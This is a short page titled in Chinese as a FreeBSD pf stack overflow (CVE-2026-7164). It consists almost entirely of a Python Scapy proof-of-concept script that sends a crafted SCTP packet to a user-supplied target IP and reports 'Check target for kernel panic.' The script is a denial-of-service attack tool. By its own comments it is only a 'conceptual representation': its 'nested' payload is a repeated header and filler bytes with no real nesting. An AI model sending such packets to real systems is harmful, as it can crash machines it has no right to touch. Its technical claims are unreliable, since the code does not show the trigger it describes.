CVE-2026-7164 FreeBSD pf栈溢出漏洞

# Proof of Concept for CVE-2026-7164 # This script attempts to trigger the unbounded recursion in FreeBSD pf # by sending a crafted SCTP packet with deeply nested parameters. # Note: Actual nesting structure may vary based on specific implementation. import sys from scapy.all import * def craft_malicious_sctp(target_ip): # Base IP layer ip = IP(dst=target_ip) # SCTP layer sctp = SCTP(sport=5000, dport=5000, tag=0xabcdef) # Craft a parameter that simulates deep nesting # This is a conceptual representation of the trigger # Type: 0x0001 (IPv4), Length: 0x0008 param_header = b"\x00\x01\x00\x08" # Payload simulating recursion pointer or nested data param_payload = b"\xFF\xFF\xFF\xFF" # Combine chunks to simulate the malformed packet structure # In a real exploit, the specific chunk type would be chosen # to force the parser into the recursive function. malicious_chunk = param_header + param_payload * 50 packet = ip / sctp / Raw(malicious_chunk) return packet if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] pkt = craft_malicious_sctp(target) print(f"[*] Sending malicious SCTP packet to {target}...") send(pkt) print("[*] Packet sent. Check target for kernel panic.")